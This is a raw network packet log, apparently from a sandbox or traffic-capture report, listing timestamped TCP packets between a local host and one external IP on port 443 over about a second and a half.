Dec 18, 2024 13:21:06.198545933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.204335928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.204372883 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.204447985 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.204471111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.204504013 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.204510927 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.211260080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.211282015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.211357117 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.211365938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.211396933 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.211415052 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.217231035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.217252016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.217334986 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.217345953 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.218539953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.223834991 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.223854065 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.223900080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.223908901 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.223928928 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.223948002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.230763912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.230788946 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.230837107 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.230848074 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.230856895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.233288050 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.237123013 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.237144947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.237190008 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.237204075 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.237226009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.237237930 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.371659994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.371690035 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.371767998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.371798038 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.371819973 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.371834993 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.389797926 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.389822960 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.389893055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.389914036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.389925003 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.389954090 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.396610975 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.396637917 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.396713018 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.396723032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.396761894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.402858973 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.402883053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.402965069 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.402992964 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.403007030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.403029919 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.409341097 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.409360886 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.409425020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.409442902 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.410182953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.416322947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.416344881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.416399002 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.416409016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.416440010 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.416457891 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.423152924 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.423180103 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.423214912 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.423233032 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.423247099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.423285007 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.429636955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.429661036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.429704905 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.429722071 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.429738045 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.429759979 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.564121962 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.564152956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.564255953 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.564286947 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.565257072 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.582134008 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.582159042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.582230091 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.582241058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.582525969 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.588948011 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.588973999 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.589020014 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.589025974 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.589037895 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.589061022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.595949888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.595969915 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.596019030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.596025944 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.596055984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.596061945 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.602355957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.602375984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.602427959 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.602436066 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.602467060 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.602478981 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.608774900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.608794928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.608872890 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.608885050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.610541105 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.615066051 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.615087986 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.615164995 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.615179062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.616791964 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.621675014 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.621700048 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.621737957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.621747971 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.621771097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.621786118 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.756248951 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.756275892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.756351948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.756377935 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.756391048 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.756411076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.778676033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.778703928 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.778759956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.778779984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.778795004 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.778814077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.781395912 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.781423092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.781452894 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.781459093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.781500101 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.787952900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.787981033 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.788042068 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.788053989 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.788074970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.788094997 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.794209003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.794229984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.794310093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.794318914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.794471025 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.801513910 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.801536083 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.801604033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.801611900 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.801708937 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.811821938 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.811844110 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.811917067 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.811925888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.812014103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.815272093 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.815298080 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.815330982 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.815336943 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.815385103 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.948765993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.948793888 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.948843956 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.948878050 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.948896885 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.948918104 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.966746092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.966772079 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.966835022 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.966859102 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.966881990 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.966898918 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.973345995 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.973372936 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.973434925 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.973443985 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.973484039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.979441881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.979465961 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.979525089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.979532003 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.979568005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.986422062 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.986447096 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.986512899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.986520052 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.986555099 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.993277073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.993302107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.993376970 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:06.993386030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:06.993426085 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.000705957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.000729084 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.000778913 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.000787020 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.000813961 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.000833035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.006668091 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.006691933 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.006740093 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.006766081 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.006783009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.006807089 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.140913010 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.140953064 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.140991926 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.141019106 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.141035080 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.141060114 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.159427881 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.159455061 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.159518957 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.159538984 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.159580946 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.165606976 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.165631056 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.165690899 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.165702105 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.165751934 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.172255993 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.172280073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.172337055 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.172343969 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.172377110 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.172396898 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.178858042 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.178884029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.178945065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.178976059 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.178992033 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.179018021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.185853958 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.185882092 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.185939074 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.185960054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.185986996 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.186012030 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.192074060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.192101955 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.192183971 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.192209959 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.192251921 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.198966026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.198990107 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.199045897 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.199067116 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.199105978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.333554029 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.333580017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.333652020 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.333677053 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.333710909 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.352577925 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.352602005 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.352655888 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.352673054 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.352710962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.352710962 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.359688044 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.359715939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.359771967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.359780073 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.359812021 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.365137100 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.365160942 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.365202904 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.365214109 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.365236998 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.365256071 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.371503115 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.371526957 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.371577024 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.371583939 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.371607065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.371623039 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.378370047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.378391981 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.378437042 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.378443956 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.378463984 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.378479958 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.384315968 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.384335041 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.384381056 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.384387016 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.384411097 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.384432077 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.390631914 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.390655994 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.390680075 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.390716076 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.390722036 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.390758038 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.525830030 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.525854111 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.525921106 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.525952101 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.525990009 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.544110060 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.544136047 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.544193029 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.544210911 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.544239044 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.544254065 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.549918890 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.549942017 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.550004005 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.550019026 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.550045967 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.550066948 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.556616068 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.556643009 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.556689978 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.556714058 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.556739092 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.556746006 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.563529015 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.563555002 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.563606977 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.563622952 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.563657999 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.569993019 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.570017099 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.570075035 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.570097923 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.570116043 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.570144892 CET	49723	443	192.168.2.10	118.107.29.172
Dec 18, 2024 13:21:07.576675892 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.576699018 CET	443	49723	118.107.29.172	192.168.2.10
Dec 18, 2024 13:21:07.576769114 CET	49723	443	192.168.2.10	118.107.29.172
